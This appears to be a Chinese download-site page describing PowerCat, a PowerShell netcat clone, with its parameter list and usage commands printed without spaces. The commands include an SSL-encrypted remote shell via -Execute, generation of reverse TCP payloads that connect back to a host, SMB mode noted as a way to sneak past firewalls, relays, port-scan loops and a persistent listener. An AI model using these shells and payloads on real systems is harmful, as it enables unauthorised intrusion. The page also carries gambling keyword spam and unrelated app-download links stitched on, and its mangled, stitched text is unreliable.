PowerCat是PowerShell的TCP/IP瑞士军刀,适用于Netcat&Ncat.。如果你想在powershell上连SSH或者搭建网络环境,那么PowerCat绝对必不可少!欢迎下载!滴滴学堂app下载-滴滴学堂app1.2.14 安卓版
PowerCat基本功能和参数
Start-PowerCat#Startsalistener/server.
-Mode #DefaultstoTcp,canalsospecifyUdporSmb.
-Port #Theporttolistenon.
-PipeName #Nameofpipetolistenon.
-SslCn #CommonnameforSslencryptingTcp.
-Relay #Format:"<Mode>:<Port/PipeName>"
-Execute #Executeaconsoleprocessorpowershell.
-SendFile #Filepathoffiletosend.
-ReceiveFile #Filepathoffiletobewritten.
-Disconnect #Disconnectafterconnecting.
-KeepAlive #Restartafterdisconnecting.
-Timeout #Timeoutoption.Default:60seconds
Connect-PowerCat#Connectsaclienttoalistener/server.
-Mode #DefaultstoTcp,canalsospecifyUdporSmb
-RemoteIp #IPv4addressofhosttoconnectto.
-Port #Theporttoconnectto.
-PipeName #Nameofpipetoconnectto.
-SslCn #CommonnameforSslencryptingTcp.
-Relay #Format:"<Mode>:<IP>:<Port/PipeName>"
-Execute #Executeaconsoleprocessorpowershell.
-SendFile #Filepathoffiletosend.
-ReceiveFile #Filepathoffiletobewritten.
-Disconnect #Disconnectafterconnecting.
-Timeout #Timeoutoption.Default:60seconds
PowerCat怎么用
powercat实际上是一个powershell的函数,当你第一次使用它的时候你需要运行脚本来加载这个函数。
由于windows默认不允许任何脚本运行,你需要输入Set-ExecutionPolicyRemoteSigned来允许运行本地的脚本。

PowerCatPowerShell模块打包。你必须导入模块使用其功能。
#Importthefunctionsviathepsd1file:
Import-ModulePowerCat.psd1
默认情况下,PowerCat使用TCP和读取/写入控制台。
#BasicListener:
Start-PowerCat-Port443
#BasicClient:
Connect-PowerCat-RemoteIp10.1.1.1-Port443
文件传输
使用sendfilePowerCat可以用来传输文件和-ReceiveFile参数。
#SendFile:
Connect-PowerCat-RemoteIp10.1.1.1-Port443-SendFileC:pathtoinputfile
#ReceiveFile:
Start-PowerCat-Port443-ReceiveFileC:pathtooutputfile
UDP和SMB
PowerCat支持多通过TCP发送数据。
#SendDataOverUDP:
Start-PowerCat-ModeUdp-Port8000
#SendDataOverSMB(easilysneakpastfirewalls):
Start-PowerCat-ModeSmb-PipeNamePowerCat
SSL
PowerCat动态生成提供SSL加密的X509证书TCP连接。
#Adminprivilegesarerequiredtogeneratetheself-signedcertificate.
#ServeanSSL-Encrypted(Power)Shell:
Start-PowerCat-ModeTcp-Port80-SslCn<CertificateCommonName>-Execute
#ConnecttoanSSLencryptedNcatlistener:
#Setup*nixwithopenssl&Ncat:
#opensslreq-X509-newkeyrsa:2048-subj/CN=PowerCat-days90-keyoutkey.pem-outcert.pem
#ncat-l-p80--ssl--ssl-certcert.pem--ssl-keykey.pem
Connect-PowerCat-ModeTcp-RemoteIp10.1.1.1-Port80-SslCnPowerCat
继电器
PowerCat类似于netcat继电器继电器,但你不需要创建一个文件或启动一个进程。你也可以传递不同协议之间的数据连接。
#UDPListenertoTCPClientRelay:
Start-PowerCat-ModeUdp-Port8000-Relaytcp:10.1.1.16:443
#TCPListenertoUDPClientRelay:
Start-PowerCat-Port8000-Relayudp:10.1.1.16:53
#TCPClienttoClientRelay
Connect-PowerCat-RemoteIp10.1.1.1-Port9000-Relaytcp:10.1.1.16:443
#TCPListenertoSMBListenerRelay
New-PowerCat-Listener-Port8000-Relaysmb:PowerCat
生成的有效载荷
载荷可以使用New-PowerCatPayload函数生成。
#Generateareversetcppayloadthatconnectsbackto10.1.1.15port443:
New-PowerCatPayload-RemoteIp10.1.1.15-Port443-Execute
#Generateatcppayloadthatlistensonport8000:
New-PowerCatPayload-Listener-Port8000-Execute
Misc用法
PowerCat还可以执行端口扫描,开始持续的听众,或作为一个简单的web服务器。
#BasicTCPportscan:
1..1024|ForEach-Object{Connect-PowerCat-RemoteIp10.1.1.10-Port$_-Timeout1-Verbose-Disconnect}
#BasicUDPportscan:
1..1024|ForEach-Object{Connect-PowerCat-ModeUdp-RemoteIp10.1.1.10-Port$_-Timeout1-Verbose}
#Persistentlistener:
Start-PowerCat-Port443-Execute-KeepAlive
#SimpleWebServer:
Start-PowerCat-Port80-SendFileindex.html
万博棋牌提现 从乐鱼到英皇 众博提款 超快 郑州乐动体育 千赢体育集团 bet365网出账速度快 manbetx提款确实很给力 pk10两期五码计划 九游会网站登不上为什么 在哪里可以买竞彩足球 体彩昨天开奖结果 上海体育台12-13男主持 体育彩票篮球胜负玩法 AG体育SPORTS是什么软件 pt加拿大28预测神测展开

智能KTV官方免费下载-智能KTV点歌app3.14.70.2303211104 安卓版
命运之刃神魔战宠超v下载-命运之刃神魔战宠版0.0.26 bt版
废土末世之战下载-废土末世之战手游1.0.0 测试服
诛魔长生劫礼包版-诛魔长生劫折扣版1.0安卓版
一心互娱下载APP手机版-一心互娱游戏盒子2.1-build20250403 最新版
喵图下载-喵图软件1.0 最新版
创世纪元手游官方下载-创世纪元手游1.22 安卓版
窝趣美甲app(美甲教学软件)3.3.3 官网版
爱亿家智慧教育服务平台-爱亿家家庭版1.1.1安卓正式版
SCP FOUNDATION游戏下载-SCP收容所像素版免安装硬盘版
几何冲刺崩溃官方下载-几何冲刺崩溃(Geometry Dash Meltdown)2.2.11 最新版
花海空间官方下载手机版-花海空间app1.0.0 最新版
佛山水务水行政法律汇编app1.0.4 ios手机版
术士复仇Warlock Revenge1.0 免费版
便宜玩手游平台下载-便宜玩手游1.0.0 安卓版
雪刀群侠传国战vip版下载-雪刀群侠传国战版1.0最新礼包版
小猫停车-无卡停车系统app8.0.0 手机客户端
范闲打天下红包版-范闲打天下1.0安卓版
破灭之至1.02地图下载-破灭之至1.02正式版【附带游戏攻略】
360仙境物语登录器-360仙境物语微端1.0 官网最新版 【新手卡礼包】